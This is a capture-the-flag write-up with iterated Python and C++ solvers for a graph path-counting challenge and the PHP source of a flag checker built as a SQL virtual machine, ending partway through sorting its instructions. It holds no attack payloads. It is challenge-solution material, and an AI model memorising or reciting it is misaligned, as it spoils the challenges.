dp = [[0 for i in range(N)] for j in range(L+1)]
dp[0][0] = 1
# print (dp)
for i in range(1, L+1):
for j in range(N):
if j+1 in forbidden:
continue
for k in range(N):
if k+1 in forbidden:
continue
if adj[j][k] != 0:
# there is path between j and k
dp[i][j] += dp[i-1][k]
dp[i][j] %= mod
ans = dp[L][N-1]
p.sendline(str(ans))
res = p.recvuntil("!")
if b"Good" not in res:
print (N)
print (adj)
print (forbidden)
print (L)
print (dp)
print (ans)
p.close()
sys.exit()
else:
print("Correct! N={}, L={}".format(N, L))
for i in range(40):
print ("Solving {}/40".format(i))
solve()
p.interactive()
But this solver code is too slow to get the flag. Perhaps near about 26/40 test case, got time limit exceed judge.
Analysising the test case, L length is much larger than N value. I reduced memory usage due to dp array.
#!/usr/bin/env python3.5
from pwn import *
import sys
p = remote('challs.xmas.htsp.ro', 6053)
def solve():
mod = 666013
p.recvuntil("N = ")
N = int(p.recvuntil("\n").rstrip(b"\n"))
adj = []
p.recvuntil("matrix:\n")
for i in range(N):
row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
adj.append(row)
p.recvuntil("nodes: [")
forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
p.recvuntil("L = ")
L = int(p.recvuntil("\n").rstrip(b"\n"))
dp = [[0 for i in range(N)] for j in range(2)]
dp[0][0] = 1
# print (dp)
for i in range(1, L+1):
for j in range(N):
if j+1 in forbidden:
continue
for k in range(N):
if k+1 in forbidden:
continue
if adj[j][k] != 0:
# there is path between j and k
dp[i%2][j] += dp[(i+1)%2][k]
dp[i%2][j] %= mod
dp[(i+1)%2] = [0 for i in range(N)]
ans = dp[L%2][N-1]
p.sendline(str(ans))
res = p.recvuntil("!")
if b"Good" not in res:
print (N)
print (adj)
print (forbidden)
print (L)
print (dp)
print (ans)
p.close()
sys.exit()
else:
print("Correct! N={}, L={}".format(N, L))
for i in range(40):
print ("Solving {}/40".format(i))
solve()
p.interactive()
But the code is slow yet.
I used adjacent list instead of adjacent matrix.
#!/usr/bin/env python3.5
from pwn import *
import sys
p = remote('challs.xmas.htsp.ro', 6053)
def solve():
mod = 666013
p.recvuntil("N = ")
N = int(p.recvuntil("\n").rstrip(b"\n"))
adj = []
p.recvuntil("matrix:\n")
for i in range(N):
row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
adj.append(row)
p.recvuntil("nodes: [")
forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
p.recvuntil("L = ")
L = int(p.recvuntil("\n").rstrip(b"\n"))
dp = [[0 for i in range(N)] for j in range(2)]
edges = [[] for i in range(N)]
for i in range(N):
for j in range(N):
if j+1 in forbidden:
continue
if adj[i][j] != 0:
edges[i].append(j)
dp[0][0] = 1
for i in range(1, L+1):
for j in range(N):
if j+1 in forbidden:
continue
for k in edges[j]:
if adj[j][k] != 0:
# there is path between j and k
dp[i%2][j] += dp[(i+1)%2][k]
dp[i%2][j] %= mod
dp[(i+1)%2] = [0 for i in range(N)]
ans = dp[L%2][N-1]
p.sendline(str(ans))
res = p.recvuntil("!")
if b"Good" not in res:
print (N)
print (adj)
print (forbidden)
print (L)
print (dp)
print (ans)
p.close()
sys.exit()
else:
print("Correct! N={}, L={}".format(N, L))
for i in range(40):
print ("Solving {}/40".format(i))
solve()
p.interactive()
Maybe slow yet.
I wrote cpp based solver, make the python code take advantage of the cpp solver.
#!/usr/bin/env python3.5
from pwn import *
import sys
p = remote('challs.xmas.htsp.ro', 6053)
def solve():
mod = 666013
p.recvuntil("N = ")
N = int(p.recvuntil("\n").rstrip(b"\n"))
adj = []
p.recvuntil("matrix:\n")
for i in range(N):
row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
adj.append(row)
p.recvuntil("nodes: [")
ban = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
p.recvuntil("L = ")
L = int(p.recvuntil("\n").rstrip(b"\n"))
solver = process('./csolver')
solver.sendline(str(N))
for i in range(N):
solver.sendline(" ".join(map(str,adj[i])))
solver.sendline(str(len(ban)))
for b in ban:
solver.sendline(str(b))
solver.sendline(str(L))
ans = int(solver.recvuntil(b"\n").rstrip(b"\n"))
solver.close()
p.sendline(str(ans))
res = p.recvuntil("!")
if b"Good" not in res:
print (N)
print (adj)
print (ban)
print (L)
print (dp)
print (ans)
p.close()
sys.exit()
else:
print("Correct! N={}, L={}".format(N, L))
for i in range(40):
print ("Solving {}/40".format(i))
solve()
p.interactive()
cpp solver code following.
#include <bits/stdc++.h>
using namespace std;
int adj[100][100];
int dp[2][100];
vector<int> edges[100];
set<int> ban;
const int MOD = 666013;
int main() {
int N, L, bl;
cin >> N;
for (int i=0; i < N; i++)
for (int j=0; j < N; j++)
cin >> adj[i][j];
cin >> bl;
while(bl--) {
int tmp; cin >> tmp;
tmp--;
ban.insert(tmp);
}
cin >> L;
for (int i=0; i< N; i++) {
if (ban.find(i) != ban.end()) continue;
for (int j=0;j < N; j++)
if (adj[i][j])
edges[i].push_back(j);
}
dp[0][0] = 1;
for (int i=1; i <= L; i++) {
for (int j=0;j < N; j++) {
if (ban.find(j) != ban.end()) continue;
for (int l=0; l < edges[j].size(); l++) {
int k = edges[j][l];
dp[i%2][j] += dp[(i+1)%2][k];
dp[i%2][j] %= MOD;
}
}
for (int j=0;j < N; j++)
dp[(i+1)%2][j] = 0;
}
cout << dp[L%2][N-1] << endl;
return 0;
}
Finally, my solver solved all test cases, got the flag!
But, the flag implies that the intended solution is matrix expansion.
I think about it, then I can solve the challenge with matrix multiplication.
Because, the next dp array is defined with linear combination of previous dp array.
If the recurrence relation can be denoted with linear combination of previous variable, we can transform recurrence relation into matrix multiplication.
The matrix is the adjacent matrix.
Matrix multiplication computing time complexity can be reduced with O(lg(L)* A), A is constant the cost of matrix multiplication.
The final solve code with matrix multiplication is following
#!/usr/bin/env python3.5
from pwn import *
import numpy as np
from numpy.linalg import matrix_power
import sys
mod = 666013
p = remote('challs.xmas.htsp.ro', 6053)
def power(mat, exp):
global mod
if exp <= 1:
return mat % mod
if exp % 2 == 0:
half = power(mat, exp//2)
return half * half % mod
else:
return power(mat, exp-1) * mat % mod
def solve():
global mod
p.recvuntil("N = ")
N = int(p.recvuntil("\n").rstrip(b"\n"))
adj = []
p.recvuntil("matrix:\n")
for i in range(N):
row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
adj.append(row)
p.recvuntil("nodes: [")
ban = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
p.recvuntil("L = ")
L = int(p.recvuntil("\n").rstrip(b"\n"))
mat = np.asmatrix(adj)
rmat = power(mat, L)
ans = rmat[0,N-1]
p.sendline(str(ans))
res = p.recvuntil("!")
if b"Good" not in res:
print (res)
print (N)
print (adj)
print (ban)
print (L)
print (ans)
p.close()
sys.exit()
else:
print("Correct! N={}, L={}".format(N, L))
for i in range(40):
print ("Solving {}/40".format(i))
solve()
print (p.recvuntil("}"))
p.close()
Web - PHP Master
Taking advantage of php type juggling. == operator allows type juggling with loose comparision. === operation does not allow type juggling, strict comparision.
Just analyze the sql query can make us get the flag.
<?php
if (isset($_GET['source'])) {
show_source("index.php");
die ();
}
if (isset($_POST['flag'])) {
include ("config.php");
$conn = new mysqli($servername, $username, $password, $dbname);
$query = "INSERT INTO FLAG (`id`, `n`) VALUES ";
$alf = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?!-_{}()";
header('Ever wondered that Soy could be pronounced: like Soiii? Me neither.');
for ($i=0; $i<strlen($_POST['flag']) && $i < 50; $i++) {
$c = $_POST['flag'][$i];
if (strlen($c) === 1) {
$indx = strpos($alf, $c);
if ($indx !== FALSE) {
$query .= '(' . $i . ',"' . $alf[$indx] . '"),';
} else {
die("Invalid char.");
}
} else {
die("Invalid input?");
}
}
$query = substr($query, 0, strlen($query) - 1);
mysqli_query($conn, 'DROP TABLE IF EXISTS FLAG');
mysqli_query($conn, 'CREATE TABLE FLAG (`id` int not null primary key, `n` char)');
mysqli_query($conn, $query);
$query = "SELECT o FROM ( SELECT 0 v, '' o, 0 pc FROM (SELECT @pc:=0, @mem:='', @out:='') i UNION ALL SELECT v, CASE @pc WHEN 121 THEN 0 WHEN 70 THEN @pc:=73 WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89) WHEN 32 THEN @sp := @sp + 1 WHEN 25 THEN @sp := @sp - 1 WHEN 28 THEN @sp := @sp + 1 WHEN 56 THEN @sp := @sp + 1 WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0) WHEN 126 THEN 0 WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5) WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80) WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89) WHEN 103 THEN @sp := @sp + 1 WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43) WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4) WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0) WHEN 73 THEN 0 WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5) WHEN 58 THEN @sp := @sp + 1 WHEN 92 THEN 0 WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6) WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89) WHEN 95 THEN IF(@n = 0, 0, @pc:=99) WHEN 74 THEN @i := @i + 1 WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i))) WHEN 78 THEN @out := @ok WHEN 107 THEN @sp := @sp - 1 WHEN 21 THEN @sp := @sp + 1 WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89) WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 122 THEN @sp := @sp - 1 WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>')) WHEN 45 THEN 0 WHEN 93 THEN @get_arg_tmp := @sp-2 WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6) WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7) WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71) WHEN 97 THEN @sp := @sp - 1 WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 108 THEN @sp := @sp - 1 WHEN 46 THEN @i := @i - 1 WHEN 115 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>')) WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) WHEN 19 THEN @sp := 1 WHEN 24 THEN @pc:=92 WHEN 33 THEN @pc:=113 WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>')) WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80) WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0) WHEN 3 THEN @notok := 'Wrong.' WHEN 42 THEN @pc:=45 WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89) WHEN 98 THEN @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32)) WHEN 91 THEN @pc:=126 WHEN 117 THEN @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 34 THEN @sp := @sp - 2 WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89) WHEN 37 THEN @i := 13 WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>')) WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0) WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0) WHEN 111 THEN @sp := @sp - 1 WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0) WHEN 80 THEN 0 WHEN 112 THEN @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 120 THEN @rv := 0 WHEN 90 THEN @out := @notok WHEN 61 THEN @pc:=113 WHEN 43 THEN 0 WHEN 30 THEN @sp := @sp + 1 WHEN 101 THEN @sp := @sp + 1 WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0) WHEN 71 THEN 0 WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89) WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0) WHEN 62 THEN @sp := @sp - 2 WHEN 2 THEN @ok := 'OK.' WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89) WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89) WHEN 109 THEN @n:=ExtractValue(@mem,'/m[$@sp]') WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG) WHEN 1 THEN @strn := 'MySQL' WHEN 39 THEN 0 WHEN 96 THEN @rv := 1 WHEN 106 THEN @pc:=92 WHEN 114 THEN @get_arg_tmp := @sp-3 WHEN 47 THEN IF(@i > 10, @pc:=39, 0) WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50)) WHEN 94 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 60 THEN @sp := @sp + 1 WHEN 99 THEN 0 WHEN 123 THEN @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 89 THEN 0 WHEN 38 THEN @l := 0 WHEN 113 THEN 0 WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89) WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3) WHEN 44 THEN @l := 1 WHEN 65 THEN @i := 33 WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0) WHEN 110 THEN @rv := @rv * @n WHEN 125 THEN @out := @notok WHEN 127 THEN 0 WHEN 4 THEN @targetsz := 42 WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG) WHEN 116 THEN @get_arg_tmp := @sp-2 WHEN 23 THEN @sp := @sp + 1 WHEN 105 THEN @sp := @sp + 1 WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24)) WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89) WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1)) WHEN 72 THEN @l := @l + 1 WHEN 77 THEN 0 WHEN 118 THEN @rv := 1 WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0) WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0) WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i))) WHEN 79 THEN @pc:=126 WHEN 124 THEN 0 WHEN 66 THEN @l := 0 WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>')) WHEN 67 THEN 0 WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END, @pc:=@pc+1 FROM (SELECT (E0.v+E1.v+E2.v+E3.v+E4.v+E5.v+E6.v+E7.v+E8.v+E9.v+E10.v) v FROM(SELECT 0 v UNION ALL SELECT 1 v) E0 CROSS JOIN (SELECT 0 v UNION ALL SELECT 2 v) E1 CROSS JOIN (SELECT 0 v UNION ALL SELECT 4 v) E2 CROSS JOIN (SELECT 0 v UNION ALL SELECT 8 v) E3 CROSS JOIN (SELECT 0 v UNION ALL SELECT 16 v) E4 CROSS JOIN (SELECT 0 v UNION ALL SELECT 32 v) E5 CROSS JOIN (SELECT 0 v UNION ALL SELECT 64 v) E6 CROSS JOIN (SELECT 0 v UNION ALL SELECT 128 v) E7 CROSS JOIN (SELECT 0 v UNION ALL SELECT 256 v) E8 CROSS JOIN (SELECT 0 v UNION ALL SELECT 512 v) E9 CROSS JOIN (SELECT 0 v UNION ALL SELECT 1024 v) E10 ORDER BY v) s) q ORDER BY v DESC LIMIT 1";
mysqli_query($conn, $query, MYSQLI_USE_RESULT);
$result = mysqli_query($conn, $query, MYSQLI_USE_RESULT);
echo mysqli_fetch_array ($result, MYSQLI_ASSOC)['o'];
die();
}
?>
The complex sql query is actually a kind of virtual machine.
It defined custom variable named, pc, memory and etc.
The instruction is defined as pc value with case then, else syntax.
SELECT o FROM
( SELECT 0 v, '' o, 0 pc FROM
(SELECT @pc:=0, @mem:='', @out:='') i UNION ALL SELECT v, CASE @pc
WHEN 121 THEN 0
WHEN 70 THEN @pc:=73
WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89)
WHEN 32 THEN @sp := @sp + 1
WHEN 25 THEN @sp := @sp - 1
WHEN 28 THEN @sp := @sp + 1
WHEN 56 THEN @sp := @sp + 1
WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0)
WHEN 126 THEN 0
WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5)
WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80)
WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89)
WHEN 103 THEN @sp := @sp + 1
WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43)
WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4)
WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0)
WHEN 73 THEN 0
WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5)
WHEN 58 THEN @sp := @sp + 1
WHEN 92 THEN 0
WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6)
WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89)
WHEN 95 THEN IF(@n = 0, 0, @pc:=99)
WHEN 74 THEN @i := @i + 1
WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i)))
WHEN 78 THEN @out := @ok
WHEN 107 THEN @sp := @sp - 1
WHEN 21 THEN @sp := @sp + 1
WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89)
WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 122 THEN @sp := @sp - 1
WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>'))
WHEN 45 THEN 0
WHEN 93 THEN @get_arg_tmp := @sp-2
WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6)
WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7)
WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71)
WHEN 97 THEN @sp := @sp - 1
WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 108 THEN @sp := @sp - 1
WHEN 46 THEN @i := @i - 1
WHEN 115 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>'))
WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>'))
WHEN 19 THEN @sp := 1
WHEN 24 THEN @pc:=92
WHEN 33 THEN @pc:=113
WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>'))
WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80)
WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0)
WHEN 3 THEN @notok := 'Wrong.'
WHEN 42 THEN @pc:=45
WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89)
WHEN 98 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32))
WHEN 91 THEN @pc:=126
WHEN 117 THEN @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 34 THEN @sp := @sp - 2
WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89)
WHEN 37 THEN @i := 13
WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>'))
WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0)
WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0)
WHEN 111 THEN @sp := @sp - 1
WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0)
WHEN 80 THEN 0
WHEN 112 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 120 THEN @rv := 0
WHEN 90 THEN @out := @notok
WHEN 61 THEN @pc:=113
WHEN 43 THEN 0
WHEN 30 THEN @sp := @sp + 1
WHEN 101 THEN @sp := @sp + 1
WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0)
WHEN 71 THEN 0
WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89)
WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0)
WHEN 62 THEN @sp := @sp - 2
WHEN 2 THEN @ok := 'OK.'
WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89)
WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89)
WHEN 109 THEN @n:=ExtractValue(@mem,'/m[$@sp]')
WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG)
WHEN 1 THEN @strn := 'MySQL'
WHEN 39 THEN 0
WHEN 96 THEN @rv := 1
WHEN 106 THEN @pc:=92
WHEN 114 THEN @get_arg_tmp := @sp-3
WHEN 47 THEN IF(@i > 10, @pc:=39, 0)
WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50))
WHEN 94 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 60 THEN @sp := @sp + 1
WHEN 99 THEN 0
WHEN 123 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 89 THEN 0
WHEN 38 THEN @l := 0
WHEN 113 THEN 0
WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89)
WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3)
WHEN 44 THEN @l := 1
WHEN 65 THEN @i := 33
WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0)
WHEN 110 THEN @rv := @rv * @n
WHEN 125 THEN @out := @notok
WHEN 127 THEN 0
WHEN 4 THEN @targetsz := 42
WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG)
WHEN 116 THEN @get_arg_tmp := @sp-2
WHEN 23 THEN @sp := @sp + 1
WHEN 105 THEN @sp := @sp + 1
WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24))
WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89)
WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1))
WHEN 72 THEN @l := @l + 1
WHEN 77 THEN 0
WHEN 118 THEN @rv := 1
WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>'))
WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0)
WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0)
WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i)))
WHEN 79 THEN @pc:=126
WHEN 124 THEN 0
WHEN 66 THEN @l := 0
WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>'))
WHEN 67 THEN 0
WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END,
@pc:=@pc+1
FROM
(SELECT (E0.v+E1.v+E2.v+E3.v+E4.v+E5.v+E6.v+E7.v+E8.v+E9.v+E10.v) v FROM
(SELECT 0 v UNION ALL SELECT 1 v) E0 CROSS JOIN (SELECT 0 v UNION ALL SELECT 2 v) E1 CROSS JOIN (SELECT 0 v UNION ALL SELECT 4 v) E2 CROSS JOIN (SELECT 0 v UNION ALL SELECT 8 v) E3 CROSS JOIN (SELECT 0 v UNION ALL SELECT 16 v) E4 CROSS JOIN (SELECT 0 v UNION ALL SELECT 32 v) E5 CROSS JOIN (SELECT 0 v UNION ALL SELECT 64 v) E6 CROSS JOIN (SELECT 0 v UNION ALL SELECT 128 v) E7 CROSS JOIN (SELECT 0 v UNION ALL SELECT 256 v) E8 CROSS JOIN (SELECT 0 v UNION ALL SELECT 512 v) E9 CROSS JOIN (SELECT 0 v UNION ALL SELECT 1024 v) E10 ORDER BY v) s)
q ORDER BY v DESC LIMIT 1
By sorting the vm instructions with pc value, we can analysis logic at ease.
Sorted version is following.
WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50))
WHEN 1 THEN @strn := 'MySQL'
WHEN 2 THEN @ok := 'OK.'
WHEN 3 THEN @notok := 'Wrong.'
WHEN 4 THEN @targetsz := 42
